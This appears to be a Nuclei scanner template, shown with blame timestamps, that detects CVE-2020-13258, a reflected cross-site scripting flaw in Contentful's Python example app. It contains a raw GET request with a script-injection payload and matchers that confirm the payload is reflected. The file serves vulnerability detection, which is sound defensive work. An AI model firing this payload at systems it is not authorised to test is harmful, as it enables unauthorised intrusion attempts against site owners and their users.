2022-01-07 02:49:47 +00:00
|
|
|
id: CVE-2020-13258
|
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: Contentful <=2020-05-21 - Cross-Site Scripting
|
2022-01-07 02:49:47 +00:00
|
|
|
author: pikpikcu
|
2022-09-16 20:03:07 +00:00
|
|
|
severity: medium
|
2022-09-08 10:39:45 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
|
2023-09-06 12:22:36 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
|
2022-09-08 10:39:45 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/contentful/the-example-app.py/issues/44
|
2022-09-16 19:50:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
|
2022-09-08 11:01:24 +00:00
|
|
|
classification:
|
2022-09-16 20:03:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2020-13258
|
2022-09-16 20:03:07 +00:00
|
|
|
cwe-id: CWE-79
|
2023-04-12 10:55:48 +00:00
|
|
|
epss-score: 0.00464
|
2023-11-23 06:31:41 +00:00
|
|
|
epss-percentile: 0.72707
|
2023-09-06 12:22:36 +00:00
|
|
|
cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: contentful
|
|
|
|
product: python_example
|
|
|
|
tags: cve,cve2020,contentful,xss
|
2022-01-07 07:34:40 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-01-07 07:34:40 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
2022-09-08 10:39:45 +00:00
|
|
|
GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
|
2022-01-07 07:34:40 +00:00
|
|
|
Host: {{Hostname}}
|
2022-01-07 02:49:47 +00:00
|
|
|
|
2022-09-08 10:39:45 +00:00
|
|
|
matchers-condition: and
|
2022-01-07 02:49:47 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-09-08 10:39:45 +00:00
|
|
|
- "{'api': '"
|
2022-09-08 10:41:35 +00:00
|
|
|
- "</script><script>alert(document.domain)</script>',"
|
2022-09-08 10:39:45 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-23 06:41:10 +00:00
|
|
|
# digest: 4b0a004830460221008f31279958f3493d4536d53be6075e049f9392e690b04a17431d0abd7aa9f20e022100e82f5353aafcf1c0339a33b5a28b52f2ca8f0d91025d702e63a4347e88a620d0:922c64590222798bb761d5b6d8e72950
|